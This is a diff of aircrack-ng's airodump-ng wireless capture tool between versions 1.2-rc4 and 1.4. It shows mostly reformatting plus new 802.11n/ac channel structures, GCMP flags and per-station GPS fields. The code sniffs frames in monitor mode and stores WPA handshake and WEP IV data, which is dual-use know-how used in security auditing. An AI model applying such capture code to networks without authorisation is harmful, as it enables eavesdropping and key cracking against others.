+		time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+					  + (tv2.tv_usec - tv1.tv_usec);
+
+		if (time_slept > REFRESH_RATE && time_slept > G.update_s * 1000000)
+		{
+			time_slept = 0;
+
+			update_dataps();
+
+			/* update the window size */
+
+			if (ioctl(0, TIOCGWINSZ, &(G.ws)) < 0)
+			{
+				G.ws.ws_row = 50;
+				G.ws.ws_col = 120;
+			}
+
+			if (G.ws.ws_col < 1) G.ws.ws_col = 1;
+			if (G.ws.ws_col > 300) G.ws.ws_col = 300;
+
+			/* display the list of access points we have */
+
+			if (!G.do_pause && !G.background_mode)
+			{
+				pthread_mutex_lock(&(G.mx_print));
+
+				moveto(1, 1);
+				dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
+				erase_display(0);
+
+				pthread_mutex_unlock(&(G.mx_print));
+			}
+			continue;
+		}
+
+		if (G.s_file == NULL && G.s_iface != NULL)
+		{
+			fd_is_set = 0;
+
+			for (i = 0; i < G.num_cards; i++)
+			{
+				if (FD_ISSET(fd_raw[i], &rfds))
+				{
+
+					memset(buffer, 0, sizeof(buffer));
+					h80211 = buffer;
+					if ((caplen = wi_read(wi[i], h80211, sizeof(buffer), &ri))
+						== -1)
+					{
+						wi_read_failed++;
+						if (wi_read_failed > 1)
+						{
+							G.do_exit = 1;
+							break;
+						}
+						memset(G.message, '\x00', sizeof(G.message));
+						snprintf(G.message,
+								 sizeof(G.message),
+								 "][ interface %s down ",
+								 wi_get_ifname(wi[i]));
+
+						// reopen in monitor mode
+
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+
+							/* Restore terminal */
+							show_cursor();
+
+							exit(1);
+						}
+
+						fd_raw[i] = wi_fd(wi[i]);
+						if (fd_raw[i] > fdh) fdh = fd_raw[i];
+
+						break;
+						//                         return 1;
+					}
+
+					read_pkts++;
+
+					wi_read_failed = 0;
+					dump_add_packet(h80211, caplen, &ri, i);
+				}
+			}
+		}
+		else if (G.s_file != NULL)
+		{
+			dump_add_packet(h80211, caplen, &ri, i);
+		}
+	}
+
+	if (G.batt) free(G.batt);
+
+	if (G.elapsed_time) free(G.elapsed_time);
+
+	if (G.own_channels) free(G.own_channels);
+
+	if (G.f_essid) free(G.f_essid);
+
+	if (G.prefix) free(G.prefix);
+
+	if (G.f_cap_name) free(G.f_cap_name);
+
+	if (G.keyout) free(G.keyout);
 
 #ifdef HAVE_PCRE
-    if(G.f_essid_regex)
-        pcre_free(G.f_essid_regex);
+	if (G.f_essid_regex) pcre_free(G.f_essid_regex);
 #endif
 
-    for(i=0; i<G.num_cards; i++)
-        wi_close(wi[i]);
+	for (i = 0; i < G.num_cards; i++) wi_close(wi[i]);
 
-    if (G.record_data) {
-        if ( G. output_format_csv)  dump_write_csv();
-        if ( G.output_format_kismet_csv) dump_write_kismet_csv();
-        if ( G.output_format_kismet_netxml) dump_write_kismet_netxml();
-
-        if ( G. output_format_csv || G.f_txt != NULL ) fclose( G.f_txt );
-        if ( G.output_format_kismet_csv || G.f_kis != NULL ) fclose( G.f_kis );
-        if ( G.output_format_kismet_netxml || G.f_kis_xml != NULL )
-        {
-			fclose( G.f_kis_xml );
+	if (G.record_data)
+	{
+		if (G.output_format_csv) dump_write_csv();
+		if (G.output_format_kismet_csv) dump_write_kismet_csv();
+		if (G.output_format_kismet_netxml) dump_write_kismet_netxml();
+
+		if (G.output_format_csv || G.f_txt != NULL) fclose(G.f_txt);
+		if (G.output_format_kismet_csv || G.f_kis != NULL) fclose(G.f_kis);
+		if (G.output_format_kismet_netxml || G.f_kis_xml != NULL)
+		{
+			fclose(G.f_kis_xml);
 			free(G.airodump_start_time);
 		}
-        if ( G.f_gps != NULL ) fclose( G.f_gps );
-        if ( G.output_format_pcap ||  G.f_cap != NULL ) fclose( G.f_cap );
-        if ( G.f_ivs != NULL ) fclose( G.f_ivs );
-    }
-
-    if( ! G.save_gps )
-    {
-        snprintf( (char *) buffer, 4096, "%s-%02d.gps", argv[2], G.f_index );
-        unlink(  (char *) buffer );
-    }
+		if (G.f_gps != NULL) fclose(G.f_gps);
+		if (G.output_format_pcap || G.f_cap != NULL) fclose(G.f_cap);
+		if (G.f_ivs != NULL) fclose(G.f_ivs);
+	}
 
-    ap_prv = NULL;
-    ap_cur = G.ap_1st;
+	if (!G.save_gps)
+	{
+		snprintf((char *) buffer, 4096, "%s-%02d.gps", argv[2], G.f_index);
+		unlink((char *) buffer);
+	}
+
+	ap_prv = NULL;
+	ap_cur = G.ap_1st;
 
-    while( ap_cur != NULL )
-    {
+	while (ap_cur != NULL)
+	{
 		// Clean content of ap_cur list (first element: G.ap_1st)
-        uniqueiv_wipe( ap_cur->uiv_root );
+		uniqueiv_wipe(ap_cur->uiv_root);
 
-        list_tail_free(&(ap_cur->packets));
+		list_tail_free(&(ap_cur->packets));
 
-	if (G.manufList)
-		free(ap_cur->manuf);
+		if (G.manufList) free(ap_cur->manuf);
 
-	if (G.detect_anomaly)
-        	data_wipe(ap_cur->data_root);
+		if (G.detect_anomaly) data_wipe(ap_cur->data_root);
 
-        ap_prv = ap_cur;
-        ap_cur = ap_cur->next;
-    }
+		ap_prv = ap_cur;
+		ap_cur = ap_cur->next;
+	}
 
-    ap_cur = G.ap_1st;
+	ap_cur = G.ap_1st;
 
-    while( ap_cur != NULL )
-    {
+	while (ap_cur != NULL)
+	{
 		// Freeing AP List
-        ap_next = ap_cur->next;
+		ap_next = ap_cur->next;
+		free(ap_cur);
+		ap_cur = ap_next;
+	}
+
+	st_cur = G.st_1st;
+	st_next = NULL;
 
-        if( ap_cur != NULL )
-            free(ap_cur);
+	while (st_cur != NULL)
+	{
+		st_next = st_cur->next;
+		if (G.manufList) free(st_cur->manuf);
+		free(st_cur);
+		st_cur = st_next;
+	}
 
-        ap_cur = ap_next;
-    }
+	na_cur = G.na_1st;
+	na_next = NULL;
 
-    st_cur = G.st_1st;
-    st_next= NULL;
+	while (na_cur != NULL)
+	{
+		na_next = na_cur->next;
+		free(na_cur);
+		na_cur = na_next;
+	}
 
-    while(st_cur != NULL)
-    {
-        st_next = st_cur->next;
 	if (G.manufList)
-		free(st_cur->manuf);
-        free(st_cur);
-        st_cur = st_next;
-    }
-
-    na_cur = G.na_1st;
-    na_next= NULL;
-
-    while(na_cur != NULL)
-    {
-        na_next = na_cur->next;
-        free(na_cur);
-        na_cur = na_next;
-    }
-
-    if (G.manufList) {
-        oui_cur = G.manufList;
-        while (oui_cur != NULL) {
-            oui_next = oui_cur->next;
-	    free(oui_cur);
-	    oui_cur = oui_next;
-        }
-    }
+	{
+		oui_cur = G.manufList;
+		while (oui_cur != NULL)
+		{
+			oui_next = oui_cur->next;
+			free(oui_cur);
+			oui_cur = oui_next;
+		}
+	}
 
-    fprintf( stderr, "\33[?25h" );
-    fflush( stdout );
+	show_cursor();
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/airodump-ng.h -> aircrack-ng-1.4.tar.gz/src/airodump-ng.h Changed

@@ -1,4 +1,4 @@
-/* 
+/*
  *
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License as
@@ -12,8 +12,8 @@
  *
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
  *
  * In addition, as a special exception, the copyright holders give
  * permission to link the code of portions of this program with the
@@ -36,91 +36,71 @@
 
 /* some constants */
 
-#define REFRESH_RATE 100000  /* default delay in us between updates */
-#define DEFAULT_HOPFREQ 250  /* default delay in ms between channel hopping */
-#define DEFAULT_CWIDTH  20 /* 20 MHz channels by default */
+#define REFRESH_RATE 100000 /* default delay in us between updates */
+#define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */
+#define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */
 
-#define NB_PWR  5       /* size of signal power ring buffer */
-#define NB_PRB 10       /* size of probed ESSID ring buffer */
+#define NB_PWR 5 /* size of signal power ring buffer */
+#define NB_PRB 10 /* size of probed ESSID ring buffer */
 
-#define MAX_CARDS 8	/* maximum number of cards to capture from */
+#define MAX_CARDS 8 /* maximum number of cards to capture from */
 
-#define	STD_OPN		0x0001
-#define	STD_WEP		0x0002
-#define	STD_WPA		0x0004
-#define	STD_WPA2	0x0008
+#define STD_OPN 0x0001
+#define STD_WEP 0x0002
+#define STD_WPA 0x0004
+#define STD_WPA2 0x0008
 
-#define STD_FIELD	(STD_OPN | STD_WEP | STD_WPA | STD_WPA2)
+#define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)
 
-#define	ENC_WEP		0x0010
-#define	ENC_TKIP	0x0020
-#define	ENC_WRAP	0x0040
-#define	ENC_CCMP	0x0080
-#define ENC_WEP40	0x1000
-#define	ENC_WEP104	0x0100
+#define ENC_WEP 0x0010
+#define ENC_TKIP 0x0020
+#define ENC_WRAP 0x0040
+#define ENC_CCMP 0x0080
+#define ENC_WEP40 0x1000
+#define ENC_WEP104 0x0100
+#define ENC_GCMP 0x4000
 
-#define ENC_FIELD	(ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104)
+#define ENC_FIELD                                                              \
+	(ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104         \
+	 | ENC_GCMP)
 
-#define	AUTH_OPN	0x0200
-#define	AUTH_PSK	0x0400
-#define	AUTH_MGT	0x0800
+#define AUTH_OPN 0x0200
+#define AUTH_PSK 0x0400
+#define AUTH_MGT 0x0800
 
-#define AUTH_FIELD	(AUTH_OPN | AUTH_PSK | AUTH_MGT)
+#define AUTH_FIELD (AUTH_OPN | AUTH_PSK | AUTH_MGT)
 
-#define STD_QOS         0x2000
+#define STD_QOS 0x2000
 
-#define	QLT_TIME	5
-#define	QLT_COUNT	25
+#define QLT_TIME 5
+#define QLT_COUNT 25
 
 #define SORT_BY_NOTHING 0
-#define SORT_BY_BSSID	1
-#define SORT_BY_POWER	2
-#define SORT_BY_BEACON	3
-#define SORT_BY_DATA	4
-#define SORT_BY_PRATE	5
-#define SORT_BY_CHAN	6
-#define	SORT_BY_MBIT	7
-#define SORT_BY_ENC	8
-#define SORT_BY_CIPHER	9
-#define SORT_BY_AUTH	10
-#define SORT_BY_ESSID	11
-#define MAX_SORT	11
-
-#define TEXT_RESET	0
-#define TEXT_BRIGHT 	1
-#define TEXT_DIM	2
-#define TEXT_UNDERLINE 	3
-#define TEXT_BLINK	4
-#define TEXT_REVERSE	7
-#define TEXT_HIDDEN	8
-
-#define TEXT_MAX_STYLE	8
-
-#define TEXT_BLACK 	0
-#define TEXT_RED	1
-#define TEXT_GREEN	2
-#define TEXT_YELLOW	3
-#define TEXT_BLUE	4
-#define TEXT_MAGENTA	5
-#define TEXT_CYAN	6
-#define	TEXT_WHITE	7
-
-#define TEXT_MAX_COLOR	7
-
-#define RATES           \
-    "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ       \
-    "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-//milliseconds to store last packets
+#define SORT_BY_BSSID 1
+#define SORT_BY_POWER 2
+#define SORT_BY_BEACON 3
+#define SORT_BY_DATA 4
+#define SORT_BY_PRATE 5
+#define SORT_BY_CHAN 6
+#define SORT_BY_MBIT 7
+#define SORT_BY_ENC 8
+#define SORT_BY_CIPHER 9
+#define SORT_BY_AUTH 10
+#define SORT_BY_ESSID 11
+#define MAX_SORT 11
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+// milliseconds to store last packets
 #define BUFFER_TIME 3000
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
 extern int get_ram_size(void);
-char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2);
+char *
+get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2);
 
 #define AIRODUMP_NG_CSV_EXT "csv"
 #define KISMET_CSV_EXT "kismet.csv"
@@ -131,352 +111,412 @@
 #define NB_EXTENSIONS 6
 
 const unsigned char llcnull[4] = {0, 0, 0, 0};
-char *f_ext[NB_EXTENSIONS] = { AIRODUMP_NG_CSV_EXT, AIRODUMP_NG_GPS_EXT, AIRODUMP_NG_CAP_EXT, IVS2_EXTENSION, KISMET_CSV_EXT, KISMET_NETXML_EXT };
+char * f_ext[NB_EXTENSIONS] = {AIRODUMP_NG_CSV_EXT,
+							   AIRODUMP_NG_GPS_EXT,
+							   AIRODUMP_NG_CAP_EXT,
+							   IVS2_EXTENSION,
+							   KISMET_CSV_EXT,
+							   KISMET_NETXML_EXT};
 
 extern const unsigned long int crc_tbl[256];
 extern const unsigned char crc_chop_tbl[256][4];
 
-static unsigned char ZERO[32] =
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00";
-
-const char *OUI_PATHS[] = {
-    "/etc/aircrack-ng/airodump-ng-oui.txt",
-    "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
-    "/usr/share/aircrack-ng/airodump-ng-oui.txt",
-    "/var/lib/misc/oui.txt",
-    "/usr/share/misc/oui.txt",
-    "/var/lib/ieee-data/oui.txt",
-    "/usr/share/ieee-data/oui.txt",
-    "/etc/manuf/oui.txt",
-    "/usr/share/wireshark/wireshark/manuf/oui.txt",
-    "/usr/share/wireshark/manuf/oui.txt",
-    NULL
-};
+const char * OUI_PATHS[] = {"./airodump-ng-oui.txt",
+							"/etc/aircrack-ng/airodump-ng-oui.txt",
+							"/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
+							"/usr/share/aircrack-ng/airodump-ng-oui.txt",
+							"/var/lib/misc/oui.txt",
+							"/usr/share/misc/oui.txt",
+							"/var/lib/ieee-data/oui.txt",
+							"/usr/share/ieee-data/oui.txt",
+							"/etc/manuf/oui.txt",
+							"/usr/share/wireshark/wireshark/manuf/oui.txt",
+							"/usr/share/wireshark/manuf/oui.txt",
+							NULL};
 
 #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
 
-int read_pkts=0;
+int read_pkts = 0;
+
+int abg_chans[]
+	= {1,   7,   13,  2,   8,   3,   14,  9,   4,   10,  5,   11,  6,
+	   12,  36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
+	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116, 118,
+	   120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142, 144, 149,
+	   151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
+
+int bg_chans[] = {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
+
+int a_chans[] = {36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
+				 60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116,
+				 118, 120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142,
+				 144, 149, 151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
 
-int abg_chans [] =
+int * frequencies;
+
+/* linked list of received packets for the last few seconds */
+struct pkt_buf
 {
-    1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12,
-    36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108,
-    112, 116, 120, 124, 128, 132, 136, 140, 149,
-    153, 157, 161, 184, 188, 192, 196, 200, 204,
-    208, 212, 216,0
+	struct pkt_buf * next; /* next packet in list */
+	unsigned char * packet; /* packet */
+	unsigned short length; /* packet length */
+	struct timeval ctime; /* capture time */
 };
 
-int bg_chans  [] =
+/* oui struct for list management */
+struct oui
 {
-    1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0
+	char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3]
+				   (later) with the value (hex ascii will have to be converted)
+				   */
+	char
+		manuf[128]; /* TODO: Switch to a char * later to improve memory usage */
+	struct oui * next;
 };
 
-int a_chans   [] =
+/* WPS_info struct */
+struct WPS_info
 {
-    36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108,
-    112, 116, 120, 124, 128, 132, 136, 140, 149,
-    153, 157, 161, 184, 188, 192, 196, 200, 204,
-    208, 212, 216,0
+	unsigned char version; /* WPS Version */
+	unsigned char state; /* Current WPS state */
+	unsigned char ap_setup_locked; /* AP setup locked */
+	unsigned int meth; /* WPS Config Methods */
 };
 
-int *frequencies;
+#define MAX_AC_MCS_INDEX 8
 
-/* linked list of received packets for the last few seconds */
-struct pkt_buf
+/* 802.11n channel information */
+struct n_channel_info
 {
-    struct pkt_buf  *next;      /* next packet in list */
-    unsigned char   *packet;    /* packet */
-    unsigned short  length;     /* packet length */
-    struct timeval  ctime;      /* capture time */
+	char mcs_index; /* Maximum MCS TX index     */
+	char sec_channel; /* 802.11n secondary channel*/
+	unsigned char short_gi_20; /* Short GI for 20MHz       */
+	unsigned char short_gi_40; /* Short GI for 40MHz       */
+	unsigned char any_chan_width; /* Support for 20 or 40MHz
+									as opposed to only 20 or
+									only 40MHz               */
 };
 
-/* oui struct for list management */
-struct oui {
-	char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3] (later) with the value (hex ascii will have to be converted) */
-	char manuf[128]; /* TODO: Switch to a char * later to improve memory usage */
-	struct oui *next;
+/* 802.11ac channel information */
+struct ac_channel_info
+{
+	unsigned char center_sgmt[2];
+	/* 802.11ac Center segment 0*/
+	unsigned char mu_mimo; /* MU-MIMO support          */
+	unsigned char short_gi_80; /* Short GI for 80MHz       */
+	unsigned char short_gi_160; /* Short GI for 160MHz      */
+	unsigned char split_chan; /* 80+80MHz Channel support */
+	unsigned char mhz_160_chan; /* 160 MHz channel support  */
+	unsigned char wave_2; /* Wave 2                   */
+	unsigned char mcs_index[MAX_AC_MCS_INDEX];
+	/* Maximum TX rate          */
 };
 
-/* WPS_info struct */
-struct WPS_info {
-    unsigned char version;    /* WPS Version */
-    unsigned char state;      /* Current WPS state */
-    unsigned char ap_setup_locked; /* AP setup locked */
-    unsigned int meth;        /* WPS Config Methods */
+enum channel_width_enum
+{
+	CHANNEL_UNKNOWN_WIDTH,
+	CHANNEL_3MHZ,
+	CHANNEL_5MHZ,
+	CHANNEL_10MHZ,
+	CHANNEL_20MHZ,
+	CHANNEL_22MHZ,
+	CHANNEL_30MHZ,
+	CHANNEL_20_OR_40MHZ,
+	CHANNEL_40MHZ,
+	CHANNEL_80MHZ,
+	CHANNEL_80_80MHZ,
+	CHANNEL_160MHZ
 };
 
 /* linked list of detected access points */
 struct AP_info
 {
-    struct AP_info *prev;     /* prev. AP in list         */
-    struct AP_info *next;     /* next  AP in list         */
-
-    time_t tinit, tlast;      /* first and last time seen */
-
-    int channel;              /* AP radio channel         */
-    int max_speed;            /* AP maximum speed in Mb/s */
-    int avg_power;            /* averaged signal power    */
-    int best_power;           /* best signal power    */
-    int power_index;          /* index in power ring buf. */
-    int power_lvl[NB_PWR];    /* signal power ring buffer */
-    int preamble;             /* 0 = long, 1 = short      */
-    int security;             /* ENC_*, AUTH_*, STD_*     */
-    int beacon_logged;        /* We need 1 beacon per AP  */
-    int dict_started;         /* 1 if dict attack started */
-    int ssid_length;          /* length of ssid           */
-    float gps_loc_min[5];     /* min gps coordinates      */
-    float gps_loc_max[5];     /* max gps coordinates      */
-    float gps_loc_best[5];    /* best gps coordinates     */
-
-
-    unsigned long nb_bcn;     /* total number of beacons  */
-    unsigned long nb_pkt;     /* total number of packets  */
-    unsigned long nb_data;    /* number of  data packets  */
-    unsigned long nb_data_old;/* number of data packets/sec*/
-    int nb_dataps;  /* number of data packets/sec*/
-    struct timeval tv;        /* time for data per second */
-
-    unsigned char bssid[6];   /* the access point's MAC   */
-    char *manuf;              /* the access point's manufacturer */
-    unsigned char essid[MAX_IE_ELEMENT_SIZE];
-                              /* ascii network identifier */
-    unsigned long long timestamp;
-    						  /* Timestamp to calculate uptime   */
-
-    unsigned char lanip[4];   /* last detected ip address */
-                              /* if non-encrypted network */
-
-    unsigned char **uiv_root; /* unique iv root structure */
-                              /* if wep-encrypted network */
-
-    int    rx_quality;        /* percent of captured beacons */
-    int    fcapt;             /* amount of captured frames   */
-    int    fmiss;             /* amount of missed frames     */
-    unsigned int    last_seq; /* last sequence number        */
-    struct timeval ftimef;    /* time of first frame         */
-    struct timeval ftimel;    /* time of last frame          */
-    struct timeval ftimer;    /* time of restart             */
-
-    char *key;		      /* if wep-key found by dict */
-    int essid_stored;         /* essid stored in ivs file? */
-
-    char decloak_detect;      /* run decloak detection? */
-    struct pkt_buf *packets;  /* list of captured packets (last few seconds) */
-    char is_decloak;          /* detected decloak */
+	struct AP_info * prev; /* prev. AP in list         */
+	struct AP_info * next; /* next  AP in list         */
+
+	time_t tinit, tlast; /* first and last time seen */
+
+	int channel; /* AP radio channel         */
+	enum channel_width_enum channel_width; /* Channel width            */
+	char standard[3]; /* 802.11 standard: n or ac */
+	struct n_channel_info n_channel; /* 802.11n channel info     */
+	struct ac_channel_info ac_channel; /* 802.11ac channel info    */
+	int max_speed; /* AP maximum speed in Mb/s */
+	int avg_power; /* averaged signal power    */
+	int best_power; /* best signal power    */
+	int power_index; /* index in power ring buf. */
+	int power_lvl[NB_PWR]; /* signal power ring buffer */
+	int preamble; /* 0 = long, 1 = short      */
+	int security; /* ENC_*, AUTH_*, STD_*     */
+	int beacon_logged; /* We need 1 beacon per AP  */
+	int dict_started; /* 1 if dict attack started */
+	int ssid_length; /* length of ssid           */
+	float gps_loc_min[5]; /* min gps coordinates      */
+	float gps_loc_max[5]; /* max gps coordinates      */
+	float gps_loc_best[5]; /* best gps coordinates     */
+
+	unsigned long nb_bcn; /* total number of beacons  */
+	unsigned long nb_pkt; /* total number of packets  */
+	unsigned long nb_data; /* number of  data packets  */
+	unsigned long nb_data_old; /* number of data packets/sec*/
+	int nb_dataps; /* number of data packets/sec*/
+	struct timeval tv; /* time for data per second */
+
+	unsigned char bssid[6]; /* the access point's MAC   */
+	char * manuf; /* the access point's manufacturer */
+	unsigned char essid[MAX_IE_ELEMENT_SIZE];
+	/* ascii network identifier */
+	unsigned long long timestamp;
+	/* Timestamp to calculate uptime   */
+
+	unsigned char lanip[4]; /* last detected ip address */
+	/* if non-encrypted network */
+
+	unsigned char ** uiv_root; /* unique iv root structure */
+	/* if wep-encrypted network */
+
+	int rx_quality; /* percent of captured beacons */
+	int fcapt; /* amount of captured frames   */
+	int fmiss; /* amount of missed frames     */
+	unsigned int last_seq; /* last sequence number        */
+	struct timeval ftimef; /* time of first frame         */
+	struct timeval ftimel; /* time of last frame          */
+	struct timeval ftimer; /* time of restart             */
+
+	char * key; /* if wep-key found by dict */
+	int essid_stored; /* essid stored in ivs file? */
+
+	char decloak_detect; /* run decloak detection? */
+	struct pkt_buf * packets; /* list of captured packets (last few seconds) */
+	char is_decloak; /* detected decloak */
 
 	// This feature eats 48Mb per AP
 	int EAP_detected;
-    unsigned char *data_root; /* first 2 bytes of data if */
-    						  /* WEP network; used for    */
-    						  /* detecting WEP cloak	  */
-    						  /* + one byte to indicate   */
-    						  /* (in)existence of the IV  */
-					  
-    int marked;
-    int marked_color;
-    struct WPS_info wps;
+	unsigned char * data_root; /* first 2 bytes of data if */
+	/* WEP network; used for    */
+	/* detecting WEP cloak	  */
+	/* + one byte to indicate   */
+	/* (in)existence of the IV  */
+
+	int marked;
+	int marked_color;
+	struct WPS_info wps;
 };
 
 /* linked list of detected clients */
 
 struct ST_info
 {
-    struct ST_info *prev;    /* the prev client in list   */
-    struct ST_info *next;    /* the next client in list   */
-    struct AP_info *base;    /* AP this client belongs to */
-    time_t tinit, tlast;     /* first and last time seen  */
-    unsigned long nb_pkt;    /* total number of packets   */
-    unsigned char stmac[6];  /* the client's MAC address  */
-    char *manuf;             /* the client's manufacturer */
-    int probe_index;         /* probed ESSIDs ring index  */
-    char probes[NB_PRB][MAX_IE_ELEMENT_SIZE];
-                             /* probed ESSIDs ring buffer */
-    int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
-    int power;               /* last signal power         */
-    int rate_to;             /* last bitrate to station   */
-    int rate_from;           /* last bitrate from station */
-    struct timeval ftimer;   /* time of restart           */
-    int missed;              /* number of missed packets  */
-    unsigned int lastseq;    /* last seen sequence number */
-    struct WPA_hdsk wpa;     /* WPA handshake data        */
-    int qos_to_ds;           /* does it use 802.11e to ds */
-    int qos_fr_ds;           /* does it receive 802.11e   */
-    int channel;             /* Channel station is seen   */
-                             /*  Not used yet		  */
+	struct ST_info * prev; /* the prev client in list   */
+	struct ST_info * next; /* the next client in list   */
+	struct AP_info * base; /* AP this client belongs to */
+	time_t tinit, tlast; /* first and last time seen  */
+	unsigned long nb_pkt; /* total number of packets   */
+	unsigned char stmac[6]; /* the client's MAC address  */
+	char * manuf; /* the client's manufacturer */
+	int probe_index; /* probed ESSIDs ring index  */
+	char probes[NB_PRB][MAX_IE_ELEMENT_SIZE];
+	/* probed ESSIDs ring buffer */
+	int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
+	int power; /* last signal power         */
+	int best_power; /* best signal power    */
+	int rate_to; /* last bitrate to station   */
+	int rate_from; /* last bitrate from station */
+	struct timeval ftimer; /* time of restart           */
+	int missed; /* number of missed packets  */
+	unsigned int lastseq; /* last seen sequence number */
+	struct WPA_hdsk wpa; /* WPA handshake data        */
+	int qos_to_ds; /* does it use 802.11e to ds */
+	int qos_fr_ds; /* does it receive 802.11e   */
+	int channel; /* Channel station is seen   */
+	float gps_loc_min[5]; /* min gps coordinates      */
+	float gps_loc_max[5]; /* max gps coordinates      */
+	float gps_loc_best[5]; /* best gps coordinates     */
+	/*  Not used yet		  */
 };
 
 /* linked list of detected macs through ack, cts or rts frames */
 
 struct NA_info
 {
-    struct NA_info *prev;    /* the prev client in list   */
-    struct NA_info *next;    /* the next client in list   */
-    time_t tinit, tlast;     /* first and last time seen  */
-    unsigned char namac[6];  /* the stations MAC address  */
-    int power;               /* last signal power         */
-    int channel;             /* captured on channel       */
-    int ack;                 /* number of ACK frames      */
-    int ack_old;             /* old number of ACK frames  */
-    int ackps;               /* number of ACK frames/s    */
-    int cts;                 /* number of CTS frames      */
-    int rts_r;               /* number of RTS frames (rx) */
-    int rts_t;               /* number of RTS frames (tx) */
-    int other;               /* number of other frames    */
-    struct timeval tv;       /* time for ack per second   */
+	struct NA_info * prev; /* the prev client in list   */
+	struct NA_info * next; /* the next client in list   */
+	time_t tinit, tlast; /* first and last time seen  */
+	unsigned char namac[6]; /* the stations MAC address  */
+	int power; /* last signal power         */
+	int channel; /* captured on channel       */
+	int ack; /* number of ACK frames      */
+	int ack_old; /* old number of ACK frames  */
+	int ackps; /* number of ACK frames/s    */
+	int cts; /* number of CTS frames      */
+	int rts_r; /* number of RTS frames (rx) */
+	int rts_t; /* number of RTS frames (tx) */
+	int other; /* number of other frames    */
+	struct timeval tv; /* time for ack per second   */
 };
 /* bunch of global stuff */
 
 struct globals
 {
-    struct AP_info *ap_1st, *ap_end;
-    struct ST_info *st_1st, *st_end;
-    struct NA_info *na_1st, *na_end;
-    struct oui *manufList;
-
-    unsigned char prev_bssid[6];
-    unsigned char f_bssid[6];
-    unsigned char f_netmask[6];
-    char **f_essid;
-    int f_essid_count;
+	struct AP_info *ap_1st, *ap_end;
+	struct ST_info *st_1st, *st_end;
+	struct NA_info *na_1st, *na_end;
+	struct oui * manufList;
+
+	unsigned char prev_bssid[6];
+	unsigned char f_bssid[6];
+	unsigned char f_netmask[6];
+	char ** f_essid;
+	int f_essid_count;
 #ifdef HAVE_PCRE
-    pcre *f_essid_regex;
+	pcre * f_essid_regex;
+#endif
+	char * dump_prefix;
+	char * keyout;
+	char * f_cap_name;
+
+	int f_index; /* outfiles index       */
+	FILE * f_txt; /* output csv file      */
+	FILE * f_kis; /* output kismet csv file      */
+	FILE * f_kis_xml; /* output kismet netxml file */
+	FILE * f_gps; /* output gps file      */
+	FILE * f_cap; /* output cap file      */
+	FILE * f_ivs; /* output ivs file      */
+	FILE * f_xor; /* output prga file     */
+
+	char * batt; /* Battery string       */
+	int channel[MAX_CARDS]; /* current channel #    */
+	int frequency[MAX_CARDS]; /* current frequency #    */
+	int ch_pipe[2]; /* current channel pipe */
+	int cd_pipe[2]; /* current card pipe    */
+	int gc_pipe[2]; /* gps coordinates pipe */
+	float gps_loc[5]; /* gps coordinates      */
+	int save_gps; /* keep gps file flag   */
+	int usegpsd; /* do we use GPSd?      */
+	int * channels;
+	//     int *frequencies;
+	int singlechan; /* channel hopping set 1*/
+	int singlefreq; /* frequency hopping: 1 */
+	int chswitch; /* switching method     */
+	int f_encrypt; /* encryption filter    */
+	int update_s; /* update delay in sec  */
+
